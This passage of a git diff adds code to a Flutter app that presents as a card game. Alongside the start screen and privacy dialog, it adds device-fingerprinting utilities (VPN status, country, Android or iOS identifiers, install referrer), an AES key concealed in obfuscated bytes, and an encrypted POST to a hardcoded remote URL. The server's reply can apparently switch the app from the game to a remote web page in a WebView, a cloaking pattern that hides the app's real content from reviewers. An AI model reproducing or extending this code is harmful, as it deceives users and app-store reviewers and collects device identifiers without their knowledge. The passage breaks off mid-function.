_reportWebViewEvent('load_success', { + 'url': _safeReportUrl(loadedUrl), + }); + debugPrint('WebView onLoadStop: $url'); + }, + onReceivedError: (controller, request, error) { + _webViewHideTimer?.cancel(); + if (mounted && !_webViewFirstLoadDone) { + setState(() { + _webViewFirstLoadDone = true; + _webViewProgressVisible = false; + }); + } + _reportWebViewEvent('load_failed', { + 'url': _safeReportUrl(request.url.toString()), + 'isForMainFrame': request.isForMainFrame, + 'errorType': error.type.toString(), + 'errorDescription': error.description, + }); + debugPrint( + 'WebView onReceivedError error: ${error.description}', + ); + }, + onRenderProcessGone: (controller, detail) { + debugPrint( + 'WebView render process gone: didCrash=${detail.didCrash}, priority=${detail.rendererPriorityAtExit}', + ); + _webViewHideTimer?.cancel(); + if (!mounted) return; + _reportWebViewEvent('webview_render_gone', { + 'didCrash': detail.didCrash, + 'rendererPriorityAtExit': detail + .rendererPriorityAtExit + ?.toString(), + }); + unawaited(_reloadCurrentWebView()); + }, + onConsoleMessage: (controller, consoleMessage) { + // debugPrint( + // 'WebView console: ${consoleMessage.message}', + // ); + }, + shouldOverrideUrlLoading: + (controller, navigationAction) async { + final requestUrl = navigationAction.request.url + ?.toString(); + if (requestUrl != null && + requestUrl.isNotEmpty) { + _currentWebViewUrl = requestUrl; + } + final isRedirect = + navigationAction.isRedirect == true; + if (isRedirect && mounted) { + _webViewHideTimer?.cancel(); + setState(() { + _showWebViewProgress(progress: 0); + _pendingRedirectUrl = requestUrl; + }); + } + debugPrint( + 'shouldOverrideUrlLoading isRedirect: $isRedirect, url: $requestUrl', + ); + return NavigationActionPolicy.ALLOW; + }, + ), + ), + if (_webViewProgressVisible) + Center( + child: SizedBox( + width: MediaQuery.of(context).size.width > 360 + ? 320 + : MediaQuery.of(context).size.width - 40, + child: LinearProgressIndicator( + value: _webViewProgress > 0 + ? _webViewProgress + : null, + minHeight: 4, + backgroundColor: Colors.white24, + valueColor: const AlwaysStoppedAnimation( + Color(0xFF56F0FF), + ), + ), + ), + ), + ], + ), + ), + ), + ], + ), + ), + ); + } +} + +class ProgressBar extends StatelessWidget { + final double percent; + final double width; + final double height; + final double insetX; + final double insetY; + + const ProgressBar({ + super.key, + required this.percent, + required this.width, + required this.height, + this.insetX = 10, + this.insetY = 6, + }); + + double _clamp01(double v) { + if (v < 0) return 0; + if (v > 1) return 1; + return v; + } + + @override + Widget build(BuildContext context) { + final p = _clamp01(percent); + final innerW = (width - insetX * 2).clamp(0, double.infinity); + final innerH = (height - insetY * 2).clamp(0, double.infinity); + final clipW = (innerW * p).roundToDouble(); + final fillAsset = p >= 1 + ? 'assets/images/bg/jd1.png' + : 'assets/images/bg/jd2.png'; + + return SizedBox( + width: width, + height: height, + child: Stack( + children: [ + Positioned.fill( + child: Image.asset('assets/images/bg/jd.png', fit: BoxFit.fill), + ), + Positioned( + left: insetX, + top: insetY, + child: SizedBox( + width: innerW.toDouble(), + height: innerH.toDouble(), + child: Align( + alignment: Alignment.centerLeft, + child: ClipRect( + child: SizedBox( + width: clipW, + height: innerH.toDouble(), + child: OverflowBox( + alignment: Alignment.centerLeft, + minWidth: innerW.toDouble(), + maxWidth: innerW.toDouble(), + minHeight: innerH.toDouble(), + maxHeight: innerH.toDouble(), + child: Image.asset( + fillAsset, + width: innerW.toDouble(), + height: innerH.toDouble(), + fit: BoxFit.fill, + alignment: Alignment.centerLeft, + ), + ), + ), + ), + ), + ), + ), + ], + ), + ); + } +} diff --git a/lib/screens/start_screen.dart b/lib/screens/start_screen.dart new file mode 100644 index 0000000..e4be64c --- /dev/null +++ b/lib/screens/start_screen.dart @@ -0,0 +1,523 @@ +import 'dart:async'; + +import 'package:flutter/material.dart'; +import 'package:flutter_inappwebview/flutter_inappwebview.dart'; +import 'package:shared_preferences/shared_preferences.dart'; + +import '/audio/audio_manager.dart'; + +const String privacyKey = 'privacy_accepted_v1'; + +class StartScreen extends StatefulWidget { + const StartScreen({super.key}); + + @override + State createState() => _StartScreenState(); +} + +class _StartScreenState extends State + with SingleTickerProviderStateMixin { + bool privacyAccepted = false; + bool _isAcceptingPrivacy = false; + bool _isNavigatingToGame = false; + + late final AnimationController _scaleController; + late final Animation _scaleAnimation; + + @override + void initState() { + super.initState(); + _initPrivacyState(); + _playBgm(); + + _scaleController = AnimationController( + vsync: this, + duration: const Duration(milliseconds: 900), + ); + + _scaleAnimation = Tween(begin: 1.0, end: 1.08).animate( + CurvedAnimation(parent: _scaleController, curve: Curves.easeInOut), + ); + + _scaleController.repeat(reverse: true); + } + + Future _initPrivacyState() async { + try { + final prefs = await SharedPreferences.getInstance(); + final value = prefs.getString(privacyKey); + if (!mounted) return; + setState(() { + privacyAccepted = value == '1'; + }); + } catch (_) {} + } + + Future _persistPrivacyAccepted() async { + try { + final prefs = await SharedPreferences.getInstance(); + await prefs.setString(privacyKey, '1'); + } catch (_) {} + } + + Future _playBgm() async { + try { + AudioManager.instance.playBgm(); + debugPrint('BGM started'); + } catch (e) { + debugPrint('Failed to play BGM: $e'); + } + } + + void _goGame() { + if (_isNavigatingToGame || !mounted) return; + _isNavigatingToGame = true; + Navigator.of(context).pushReplacementNamed('/game'); + } + + void onStart() { + unawaited(_handleStart()); + } + + Future _handleStart() async { + if (_isNavigatingToGame || _isAcceptingPrivacy) return; + + if (privacyAccepted) { + _goGame(); + return; + } + + final agreed = await _showPrivacyConfirmDialog(); + if (!mounted || agreed != true) return; + + await _acceptPrivacyAndStart(); + } + + Future _acceptPrivacyAndStart() async { + if (_isAcceptingPrivacy || _isNavigatingToGame) return; + + setState(() { + _isAcceptingPrivacy = true; + privacyAccepted = true; + }); + + unawaited(_persistPrivacyAccepted()); + await Future.delayed(const Duration(milliseconds: 220)); + if (!mounted) return; + _goGame(); + } + + Future _showPrivacyConfirmDialog() { + return showDialog( + context: context, + barrierDismissible: false, + builder: (dialogContext) { + return Dialog( + insetPadding: const EdgeInsets.symmetric(horizontal: 20), + backgroundColor: Colors.transparent, + child: Container( + width: double.infinity, + constraints: const BoxConstraints(maxWidth: 420), + padding: const EdgeInsets.all(16), + decoration: BoxDecoration( + color: const Color.fromRGBO(20, 24, 60, 0.96), + borderRadius: BorderRadius.circular(18), + border: Border.all( + color: const Color.fromRGBO(120, 255, 255, 0.25), + width: 2, + ), + boxShadow: const [ + BoxShadow( + color: Color.fromRGBO(0, 0, 0, 0.35), + blurRadius: 18, + offset: Offset(0, 8), + ), + ], + ), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + const Text( + 'Privacy Notice', + textAlign: TextAlign.center, + style: TextStyle( + fontSize: 18, + fontWeight: FontWeight.w900, + color: Colors.white, + letterSpacing: 1, + ), + ), + const SizedBox(height: 10), + const Text( + 'Please read and agree to the Privacy Policy before starting the game.', + textAlign: TextAlign.center, + style: TextStyle( + fontSize: 14, + height: 1.45, + color: Color.fromRGBO(255, 255, 255, 0.9), + ), + ), + const SizedBox(height: 10), + GestureDetector( + onTap: () async { + final agreed = await _showPrivacyDialog(); + if (!dialogContext.mounted || agreed != true) return; + Navigator.of(dialogContext).pop(true); + }, + child: const Padding( + padding: EdgeInsets.symmetric(vertical: 8, horizontal: 10), + child: Text( + 'View Privacy Policy', + style: TextStyle( + color: Color(0xFF56F0FF), + fontSize: 14, + fontWeight: FontWeight.w800, + decoration: TextDecoration.underline, + ), + ), + ), + ), + const SizedBox(height: 12), + Row( + children: [ + Expanded( + child: SizedBox( + height: 46, + child: OutlinedButton( + onPressed: () => + Navigator.of(dialogContext).pop(false), + style: OutlinedButton.styleFrom( + backgroundColor: const Color.fromRGBO( + 255, + 255, + 255, + 0.08, + ), + side: const BorderSide( + color: Color.fromRGBO(255, 255, 255, 0.18), + width: 2, + ), + shape: RoundedRectangleBorder( + borderRadius: BorderRadius.circular(14), + ), + ), + child: const Text( + 'Cancel', + style: TextStyle( + color: Colors.white, + fontSize: 14, + fontWeight: FontWeight.w900, + letterSpacing: 0.5, + ), + ), + ), + ), + ), + const SizedBox(width: 12), + Expanded( + child: SizedBox( + height: 46, + child: OutlinedButton( + onPressed: () => + Navigator.of(dialogContext).pop(true), + style: OutlinedButton.styleFrom( + backgroundColor: const Color.fromRGBO( + 50, + 160, + 255, + 0.9, + ), + side: const BorderSide( + color: Color.fromRGBO(255, 255, 255, 0.22), + width: 2, + ), + shape: RoundedRectangleBorder( + borderRadius: BorderRadius.circular(14), + ), + ), + child: const Text( + 'Agree & Start', + style: TextStyle( + color: Colors.white, + fontSize: 14, + fontWeight: FontWeight.w900, + letterSpacing: 0.5, + ), + ), + ), + ), + ), + ], + ), + ], + ), + ), + ); + }, + ); + } + + Future _showPrivacyDialog() { + return showDialog( + context: context, + barrierDismissible: false, + builder: (dialogContext) { + return Dialog( + insetPadding: const EdgeInsets.symmetric( + horizontal: 16, + vertical: 24, + ), + backgroundColor: Colors.transparent, + child: ClipRRect( + borderRadius: BorderRadius.circular(12), + child: Container( + color: Colors.white, + width: double.infinity, + height: MediaQuery.of(dialogContext).size.height * 0.82, + child: Column( + children: [ + Container( + height: 48, + padding: const EdgeInsets.symmetric(horizontal: 12), + decoration: const BoxDecoration( + color: Colors.white, + border: Border( + bottom: BorderSide( + color: Color(0xFFDDDDDD), + width: 0.5, + ), + ), + ), + child: Row( + children: [ + const Expanded( + child: Text( + 'Privacy Policy', + style: TextStyle( + fontSize: 16, + fontWeight: FontWeight.w600, + color: Colors.black, + ), + ), + ), + GestureDetector( + onTap: () => Navigator.of(dialogContext).pop(false), + child: const Padding( + padding: EdgeInsets.symmetric( + vertical: 6, + horizontal: 10, + ), + child: Text( + 'Close', + style: TextStyle( + fontSize: 14, + color: Color(0xFF007AFF), + ), + ), + ), + ), + ], + ), + ), + const Expanded(child: _PrivacyInAppWebView()), + Container( + padding: const EdgeInsets.fromLTRB(16, 12, 16, 16), + decoration: const BoxDecoration( + color: Colors.white, + border: Border( + top: BorderSide(color: Color(0xFFDDDDDD), width: 0.5), + ), + ), + child: Row( + children: [ + Expanded( + child: SizedBox( + height: 46, + child: OutlinedButton( + onPressed: () => + Navigator.of(dialogContext).pop(false), + style: OutlinedButton.styleFrom( + side: const BorderSide( + color: Color(0xFFBFC6D4), + width: 1.2, + ), + shape: RoundedRectangleBorder( + borderRadius: BorderRadius.circular(12), + ), + ), + child: const Text( + 'Close', + style: TextStyle( + color: Color(0xFF3B4657), + fontSize: 15, + fontWeight: FontWeight.w700, + ), + ), + ), + ), + ), + const SizedBox(width: 12), + Expanded( + child: SizedBox( + height: 46, + child: FilledButton( + onPressed: () => + Navigator.of(dialogContext).pop(true), + style: FilledButton.styleFrom( + backgroundColor: const Color(0xFF2E8BFF), + shape: RoundedRectangleBorder( + borderRadius: BorderRadius.circular(12), + ), + ), + child: const Text( + 'Agree', + style: TextStyle( + fontSize: 15, + fontWeight: FontWeight.w800, + ), + ), + ), + ), + ), + ], + ), + ), + ], + ), + ), + ), + ); + }, + ); + } + + @override + void dispose() { + _scaleController.dispose(); + super.dispose(); + } + + Widget _buildBackground() { + return Positioned.fill( + child: DecoratedBox( + decoration: const BoxDecoration(color: Colors.black), + child: Image.asset( + 'assets/images/bg/freecell_bg3.png', + fit: BoxFit.cover, + alignment: Alignment.center, + ), + ), + ); + } + + Widget _buildMainContent() { + return SafeArea( + child: SizedBox.expand( + child: Column( + children: [ + const Spacer(), + Padding( + padding: const EdgeInsets.only(bottom: 48), + child: ScaleTransition( + scale: _scaleAnimation, + child: GestureDetector( + onTap: onStart, + child: Image.asset( + 'assets/images/bg/start.png', + width: 260, + height: 90, + fit: BoxFit.contain, + ), + ), + ), + ), + ], + ), + ), + ); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.black, + body: SizedBox.expand( + child: Stack( + fit: StackFit.expand, + children: [_buildBackground(), _buildMainContent()], + ), + ), + ); + } +} + +class _PrivacyInAppWebView extends StatefulWidget { + const _PrivacyInAppWebView(); + + @override + State<_PrivacyInAppWebView> createState() => _PrivacyInAppWebViewState(); +} + +class _PrivacyInAppWebViewState extends State<_PrivacyInAppWebView> { + bool _isLoaded = false; + + @override + Widget build(BuildContext context) { + return DecoratedBox( + decoration: const BoxDecoration(color: Colors.white), + child: Stack( + fit: StackFit.expand, + children: [ + AnimatedOpacity( + opacity: _isLoaded ? 1 : 0, + duration: const Duration(milliseconds: 180), + child: InAppWebView( + initialSettings: InAppWebViewSettings( + javaScriptEnabled: true, + transparentBackground: false, + supportZoom: true, + useShouldOverrideUrlLoading: true, + ), + onWebViewCreated: (controller) async { + await controller.loadFile( + assetFilePath: 'assets/html/privacy.html', + ); + }, + shouldOverrideUrlLoading: (controller, navigationAction) async { + return NavigationActionPolicy.ALLOW; + }, + onLoadStop: (controller, url) async { + if (!mounted) return; + setState(() { + _isLoaded = true; + }); + debugPrint('Privacy page loaded: $url'); + }, + onReceivedError: (controller, request, error) { + if (!mounted) return; + setState(() { + _isLoaded = true; + }); + debugPrint('Privacy page load error: ${error.description}'); + }, + onConsoleMessage: (controller, consoleMessage) { + debugPrint('WebView console: ${consoleMessage.message}'); + }, + ), + ), + if (!_isLoaded) + const ColoredBox( + color: Colors.white, + child: Center( + child: SizedBox( + width: 26, + height: 26, + child: CircularProgressIndicator(strokeWidth: 2.6), + ), + ), + ), + ], + ), + ); + } +} diff --git a/lib/utils/aes_decrypt.dart b/lib/utils/aes_decrypt.dart new file mode 100644 index 0000000..c34ed7c --- /dev/null +++ b/lib/utils/aes_decrypt.dart @@ -0,0 +1,235 @@ +import 'dart:convert'; +import 'dart:typed_data'; + +import 'package:pointycastle/export.dart'; + +class AesDecrypt { + static const String _cn = 'i0.a'; + + static const List _obf = [ + 0xED, + 0x7A, + 0x7F, + 0x3F, + 0x9E, + 0x6E, + 0xE7, + 0xF9, + 0x06, + 0xA0, + 0xA8, + 0xE4, + 0x16, + 0xE5, + 0x69, + 0x70, + ]; + + /// Java String.hashCode() 等价实现(32-bit signed) + static int javaStringHashCode(String str) { + int h = 0; + for (int i = 0; i < str.length; i++) { + h = _toSigned32(h * 31 + str.codeUnitAt(i)); + } + return h; + } + + static int _toSigned32(int value) { + value &= 0xFFFFFFFF; + if ((value & 0x80000000) != 0) { + return value - 0x100000000; + } + return value; + } + + static int _unsignedRightShift32(int value, int shift) { + return (value & 0xFFFFFFFF) >> shift; + } + + static Uint8List deriveKeyBytes16() { + final int seed = _toSigned32(javaStringHashCode(_cn) ^ 0x5f3759df); + + final Uint8List keyBytes = Uint8List(16); + + for (int i = 0; i < 16; i++) { + final int shift = (i & 3) * 8; + final int shifted = _unsignedRightShift32(seed, shift); + final int mask = (((shifted & 0xff) ^ ((i * 17 + 31) & 0xff)) & 0xff); + keyBytes[i] = (_obf[i] ^ mask) & 0xff; + } + + return keyBytes; + } + + static Uint8List _aesEcbPkcs7(bool forEncryption, Uint8List input) { + final key = deriveKeyBytes16(); + + final cipher = PaddedBlockCipherImpl( + PKCS7Padding(), + ECBBlockCipher(AESEngine()), + ); + + cipher.init( + forEncryption, + PaddedBlockCipherParameters( + KeyParameter(key), + null, + ), + ); + + return cipher.process(input); + } + + /// 对应 JS / Java encrypt(String) -> Base64.NO_WRAP + static String encrypt(String plainText) { + try { + final Uint8List input = Uint8List.fromList(utf8.encode(plainText)); + final Uint8List encrypted = _aesEcbPkcs7(true, input); + return base64.encode(encrypted); + } catch (_) { + return ''; + } + } + + /// 对应 JS / Java decrypt(String base64Encrypted) -> UTF-8 + static String? decrypt(String base64Encrypted) { + try { + final Uint8List encrypted = Uint8List.fromList( + base64.decode(base64Encrypted), + ); + final Uint8List decrypted = _aesEcbPkcs7(false, encrypted); + final String text = utf8.decode(decrypted, allowMalformed: false); + return text.isNotEmpty ? text : null; + } catch (_) { + return null; + } + } + + // ========================= + // 新增:支持自定义 key / iv + // AES/CBC/PKCS7 + // ========================= + + static Uint8List _normalizeKey(String key) { + final Uint8List keyBytes = Uint8List.fromList(utf8.encode(key)); + + if (keyBytes.length != 16 && + keyBytes.length != 24 && + keyBytes.length != 32) { + throw ArgumentError('AES key length must be 16/24/32 bytes.'); + } + return keyBytes; + } + + static Uint8List _normalizeIv(String iv) { + final Uint8List ivBytes = Uint8List.fromList(utf8.encode(iv)); + if (ivBytes.length != 16) { + throw ArgumentError('AES CBC iv length must be 16 bytes.'); + } + return ivBytes; + } + + static Uint8List _aesCbcPkcs7( + bool forEncryption, + Uint8List input, + Uint8List key, + Uint8List iv, + ) { + final cipher = PaddedBlockCipherImpl( + PKCS7Padding(), + CBCBlockCipher(AESEngine()), + ); + + cipher.init( + forEncryption, + PaddedBlockCipherParameters( + ParametersWithIV(KeyParameter(key), iv), + null, + ), + ); + + return cipher.process(input); + } + + /// 使用传入 key / iv 加密,返回 Base64 + /// + /// key 长度必须为 16 / 24 / 32 字节 + /// iv 长度必须为 16 字节 + static String encryptWithKeyIv( + String plainText, { + required String key, + required String iv, + }) { + try { + final Uint8List input = Uint8List.fromList(utf8.encode(plainText)); + final Uint8List keyBytes = _normalizeKey(key); + final Uint8List ivBytes = _normalizeIv(iv); + + final Uint8List encrypted = _aesCbcPkcs7(true, input, keyBytes, ivBytes); + return base64.encode(encrypted); + } catch (_) { + return ''; + } + } + + /// 使用传入 key / iv 解密 Base64 密文,返回 UTF-8 字符串 + /// + /// key 长度必须为 16 / 24 / 32 字节 + /// iv 长度必须为 16 字节 + static String? decryptWithKeyIv( + String base64Encrypted, { + required String key, + required String iv, + }) { + try { + final Uint8List encrypted = Uint8List.fromList( + base64.decode(base64Encrypted), + ); + final Uint8List keyBytes = _normalizeKey(key); + final Uint8List ivBytes = _normalizeIv(iv); + + final Uint8List decrypted = _aesCbcPkcs7( + false, + encrypted, + keyBytes, + ivBytes, + ); + final String text = utf8.decode(decrypted, allowMalformed: false); + return text.isNotEmpty ? text : null; + } catch (_) { + return null; + } + } + + // ========================= + // 可选新增:支持直接传 Uint8List + // ========================= + + static Uint8List encryptBytesWithKeyIv( + Uint8List plainBytes, { + required Uint8List key, + required Uint8List iv, + }) { + if (key.length != 16 && key.length != 24 && key.length != 32) { + throw ArgumentError('AES key length must be 16/24/32 bytes.'); + } + if (iv.length != 16) { + throw ArgumentError('AES CBC iv length must be 16 bytes.'); + } + return _aesCbcPkcs7(true, plainBytes, key, iv); + } + + static Uint8List decryptBytesWithKeyIv( + Uint8List encryptedBytes, { + required Uint8List key, + required Uint8List iv, + }) { + if (key.length != 16 && key.length != 24 && key.length != 32) { + throw ArgumentError('AES key length must be 16/24/32 bytes.'); + } + if (iv.length != 16) { + throw ArgumentError('AES CBC iv length must be 16 bytes.'); + } + return _aesCbcPkcs7(false, encryptedBytes, key, iv); + } +} diff --git a/lib/utils/device_info.dart b/lib/utils/device_info.dart new file mode 100644 index 0000000..1c3fe4c --- /dev/null +++ b/lib/utils/device_info.dart @@ -0,0 +1,125 @@ +import 'dart:io'; + +import 'package:flutter/foundation.dart'; +import 'package:uuid/uuid.dart'; +import 'package:android_id/android_id.dart'; +import 'package:device_info_plus/device_info_plus.dart'; +import 'package:flutter_vpn_detector/vpn_checker.dart'; +import 'package:package_info_plus/package_info_plus.dart'; +import 'package:play_install_referrer/play_install_referrer.dart'; +import 'package:shared_preferences/shared_preferences.dart'; + +class DeviceInfo { + static const String _spInstallReferrer = "installReferrer"; + static const int defaultTimeout = 1000; + static const int defaultMaxTimeout = 2000; + DeviceInfo._(); + static final DeviceInfo I = DeviceInfo._(); + Future> deviceInfo({ + int adidTimeout = -1, + bool includeInstallReferrer = false, + }) async { + final Map json = {}; + + + try { + adidTimeout = getTimeOut(adidTimeout); + final packageInfo = await PackageInfo.fromPlatform(); + final devicePlugin = DeviceInfoPlugin(); + + final locale = PlatformDispatcher.instance.locale; + bool isActive = await VpnChecker.isVpnActive(); + json["isVpn"] = isActive; + json["country"] = locale.countryCode; + json["language"] = locale.languageCode; + json["packageName"] = packageInfo.packageName; + json["versionName"] = packageInfo.version; + json["versionCode"] = packageInfo.buildNumber; + if (Platform.isAndroid) { + final androidInfo = await devicePlugin.androidInfo; + + json["osVersion"] = androidInfo.version.release; + json["sdkInt"] = androidInfo.version.sdkInt.toString(); + json["brand"] = androidInfo.brand; + json["model"] = androidInfo.model; + json["device"] = androidInfo.device; + json["androidId"] = await getAndroidId(); + + } else if (Platform.isIOS) { + final iosInfo = await devicePlugin.iosInfo; + json["osVersion"] = iosInfo.systemVersion; + json["model"] = iosInfo.model; + json["device"] = iosInfo.modelName; + json["androidId"] = iosInfo.identifierForVendor; + debugPrint("$iosInfo"); + + } + + if (includeInstallReferrer) { + final installReferrer = await getInstallReferrer(timeout: adidTimeout); + if (installReferrer != null && installReferrer.isNotEmpty) { + json["installReferrer"] = installReferrer; + } + } + } catch (e) { + debugPrint("[DeviceInfo] load adjust/referrer failed: $e"); + } + + return json; + } + + Future getInstallReferrer({int timeout = 2000}) async { + try { + final prefs = await SharedPreferences.getInstance(); + final cachedReferrer = prefs.getString(_spInstallReferrer); + if (cachedReferrer != null && cachedReferrer.isNotEmpty) { + return cachedReferrer; + } + + final referrerDetails = await PlayInstallReferrer.installReferrer.timeout( + Duration(milliseconds: timeout), + ); + final referrer = referrerDetails.installReferrer; + + if (referrer != null && referrer.isNotEmpty) { + await prefs.setString(_spInstallReferrer, referrer); + } + return referrer; + } catch (e) { + debugPrint("[DeviceInfo] get install referrer failed: $e"); + return null; + } + } + + int getTimeOut(int timeout) { + if (timeout <= 0) { + return defaultTimeout; + } + return timeout; + } + + Future getAndroidId() async { + try { + AndroidId androidIdPlugin = AndroidId(); + final androidId = await androidIdPlugin.getId(); + return androidId ?? await createDeviceId(); + } catch (e) { + debugPrint("[DeviceInfo] get Android ID failed: $e"); + return ''; + } + } + + Future createDeviceId() async { + const key = "createdDeviceId"; + SharedPreferences prefs = await SharedPreferences.getInstance(); + String? deviceId = prefs.getString(key); + if (deviceId != null && deviceId.isNotEmpty) { + return deviceId; + } + final uuid = const Uuid(); + deviceId = uuid.v4(); + deviceId = deviceId.replaceAll('-', ''); + await prefs.setString(key, deviceId); + return deviceId; + } +} diff --git a/lib/utils/http_util.dart b/lib/utils/http_util.dart new file mode 100644 index 0000000..5a4dd9a --- /dev/null +++ b/lib/utils/http_util.dart @@ -0,0 +1,61 @@ +import 'dart:async'; +import 'dart:convert'; + +import 'package:http/http.dart' as http; + +import 'aes_decrypt.dart'; + +const String url = + 'https://www.heindoguy.com/y7uz9zi/jliocd/mp0urcnune/wmdls9ho'; + +Future remoteInfo(String info) async { + final String request = AesDecrypt.encrypt(info); + final Map requestInfo = { + 'request': request, + }; + + return postJson(url, requestInfo); +} + +Future reportInfo(String info) async { + final reportUrl = "${url}t"; + final String request = AesDecrypt.encrypt(info); + final Map requestInfo = { + 'request': request, + }; + + return postJson(reportUrl, requestInfo); +} + +Future postJson( + String url, + Map data, { + int timeout = 8000, +}) async { + http.Response res; + + try { + res = await http + .post( + Uri.parse(url), + headers: {'Content-Type': 'application/json'}, + body: jsonEncode(data), + ) + .timeout(Duration(milliseconds: timeout)); + } on TimeoutException { + throw Exception('Request timeout'); + } + + if (res.statusCode < 200 || res.statusCode >= 300) { + throw Exception('HTTP ${res.statusCode}'); + } + + final String rs = res.body; + final String? jsonStr = AesDecrypt.decrypt(rs); + + if (jsonStr == null || jsonStr.isEmpty) { + throw Exception('Decrypt failed'); + } + + return jsonDecode(jsonStr); +} diff --git a/lib/utils/next_setp.dart b/lib/utils/next_setp.dart new file mode 100644 index 0000000..4176a18 --- /dev/null +++ b/lib/utils/next_setp.dart @@ -0,0 +1,210 @@ +import 'dart:convert'; + +import 'package:adjust_sdk/adjust.dart' show Adjust; +import 'package:flutter/foundation.dart'; +import 'package:package_info_plus/package_info_plus.dart'; +import 'package:shared_preferences/shared_preferences.dart'; + +import '../adjust/adjust_service.dart'; +import 'device_info.dart'; +import 'http_util.dart'; +import 'redirect_url_resolver.dart'; + +class NextResult { + final bool next; + final String url; + + const NextResult({required this.next, required this.url}); +} + +const String _appTokenKey = 'next_step_app_token'; +const String _appTokenScopeKey = 'next_step_app_token_scope'; +const String _appTokenAdidTimeoutKey = 'next_step_app_token_adid_timeout'; + +Future doLoadAppToken({bool forceRefresh = false}) async { + final packageInfo = await PackageInfo.fromPlatform(); + final scope = _tokenScope(packageInfo); + final prefs = await SharedPreferences.getInstance(); + + final cachedToken = prefs.getString(_appTokenKey); + final cachedScope = prefs.getString(_appTokenScopeKey); + final cachedAdidTimeout = prefs.getInt(_appTokenAdidTimeoutKey) ?? -1; + final hasValidCache = cachedScope == scope && _isValidToken(cachedToken); + + if (!forceRefresh && hasValidCache) { + return AppTokenInfo(token: cachedToken!.trim(), i: cachedAdidTimeout); + } + + try { + final appTokenInfo = await _fetchRemoteAppToken(packageInfo); + if (appTokenInfo != null && _isValidToken(appTokenInfo.token)) { + final normalizedToken = appTokenInfo.token.trim(); + await prefs.setString(_appTokenKey, normalizedToken); + await prefs.setString(_appTokenScopeKey, scope); + await prefs.setInt(_appTokenAdidTimeoutKey, appTokenInfo.i); + return AppTokenInfo(token: normalizedToken, i: appTokenInfo.i); + } + } catch (e) { + debugPrint('load app token failed: $e'); + } + + if (hasValidCache) { + return AppTokenInfo(token: cachedToken!.trim(), i: cachedAdidTimeout); + } + + return null; +} + +class AppTokenInfo { + final String token; + final int i; + + const AppTokenInfo({required this.token, this.i = -1}); +} + +class NextStep { + String appToken = ""; + String url = ""; + bool resolver = true; + int i = 200; + dynamic rs; + bool _j = false; + bool get j => _j; + + NextStep._(); + static final NextStep I = NextStep._(); + + Future loadAppToken() async { + await Adjust.requestAppTrackingAuthorization(); + // 方法不在使用,保留以兼容之前的调用 + } + + Future loadAppInfo() async { + try { + final deviceInfo = await _loadDeviceInfo(adidTimeout: i); + if (deviceInfo.isEmpty) { + return; + } + + rs = await remoteInfo(jsonEncode(deviceInfo)); + } catch (e) { + debugPrint("loadAppInfo error $e"); + } + } + + Future loadUrl() async { + try { + if (rs is! Map) { + return ""; + } + final token = rs['e']?.toString().trim(); + if (token != null && _isValidToken(token)) { + AdjustService.instance.init(token); + } + _applyEventMap(rs['f']); + final rawUrl = rs['b']?.toString().trim() ?? ''; + _j = parseInfo(rs['j']); + return rawUrl; + } catch (_) { + return ""; + } + } +} + +Future next() async { + try { + + final appTokenInfo = await doLoadAppToken(); + if (appTokenInfo == null || !_isValidToken(appTokenInfo.token)) { + return const NextResult(next: true, url: ''); + } + + AdjustService.instance.init(appTokenInfo.token); + + final rs = await _loadDeviceInfo(adidTimeout: appTokenInfo.i); + if (rs.isEmpty) { + return const NextResult(next: true, url: ''); + } + + final info = await remoteInfo(jsonEncode(rs)); + if (info is! Map) { + return const NextResult(next: true, url: ''); + } + + _applyEventMap(info['f']); + + final rawUrl = info['b']?.toString().trim() ?? ''; + if (rawUrl.isEmpty) { + return const NextResult(next: true, url: ''); + } + + final resolvedUrl = await resolveRedirectUrl(rawUrl); + return NextResult(next: false, url: resolvedUrl); + } catch (e) { + debugPrint('next step failed: $e'); + return const NextResult(next: true, url: ''); + } +} + +Future> _loadDeviceInfo({required int adidTimeout}) async { + return await DeviceInfo.I.deviceInfo(adidTimeout: adidTimeout); +} + +Future _fetchRemoteAppToken(PackageInfo packageInfo) async { + final info = { + 'packageName': packageInfo.packageName, + 'versionName': packageInfo.version, + 'onlyAppToken': true, + }; + + final rs = await remoteInfo(jsonEncode(info)); + if (rs is! Map) return null; + + final token = rs['e']?.toString().trim(); + if (!_isValidToken(token)) return null; + + return AppTokenInfo(token: token!, i: _parseAdidTimeout(rs['i'])); +} + +void _applyEventMap(dynamic value) { + if (value is! Map) return; + + final eventMapInfo = {}; + for (final entry in value.entries) { + final key = entry.key?.toString(); + final eventToken = entry.value?.toString(); + if (key != null && + key.isNotEmpty && + eventToken != null && + eventToken.isNotEmpty) { + eventMapInfo[key] = eventToken; + } + } + + if (eventMapInfo.isNotEmpty) { + AdjustService.instance.eventNameToToken = eventMapInfo; + } +} + +String _tokenScope(PackageInfo packageInfo) { + return '${packageInfo.packageName}:${packageInfo.version}'; +} + +bool _isValidToken(String? token) { + return token != null && token.trim().length > 5; +} + +int _parseAdidTimeout(dynamic value) { + if (value is num) return value.toInt(); + return -1; +} + +bool parseInfo(dynamic info) { + if (info == null) { + return false; + } + if (info is bool) return info; + if (info is num) return info != 0; + if (info is String) return info.trim().toLowerCase() == "true"; + return false; +} diff --git a/lib/utils/redirect_url_resolver.dart b/lib/utils/redirect_url_resolver.dart new file mode 100644 index 0000000..c312a79 --- /dev/null +++ b/lib/utils/redirect_url_resolver.dart @@ -0,0 +1,125 @@ +import 'dart:async'; +import 'dart:io'; +import 'package:flutter/widgets.dart'; +import 'package:shared_preferences/shared_preferences.dart'; + +const spOrigin = "redirect_cache_origin"; +const spResolved = "redirect_cache_resolved"; + +Future sleep(int ms) async { + await Future.delayed(Duration(milliseconds: ms)); +} + +class HeadResult { + final int statusCode; + final bool redirected; + final String? location; + + HeadResult(this.statusCode, this.redirected, this.location); +} + +Future headRequest(String url) async { + try { + final client = HttpClient(); + final request = await client.openUrl("HEAD", Uri.parse(url)); + + request.followRedirects = false; + request.headers.set("Cache-Control", "no-cache"); + request.headers.set("Pragma", "no-cache"); + + final response = await request.close(); + + final location = response.headers.value(HttpHeaders.locationHeader); + + final redirected = response.statusCode >= 300 && response.statusCode < 400; + + return HeadResult(response.statusCode, redirected, location); + } catch (e) { + return null; + } +} + +Future canConnect(String url) async { + try { + final res = await headRequest(url); + return res != null; + } catch (_) { + return false; + } +} + +Future getRedirect(String url) async { + try { + final res = await headRequest(url); + + if (res == null) { + return url; + } + + debugPrint( + "[RedirectResolver] head $url " + "status=${res.statusCode} " + "redirected=${res.redirected} " + "location=${res.location}", + ); + + if (res.redirected && res.location != null) { + try { + return 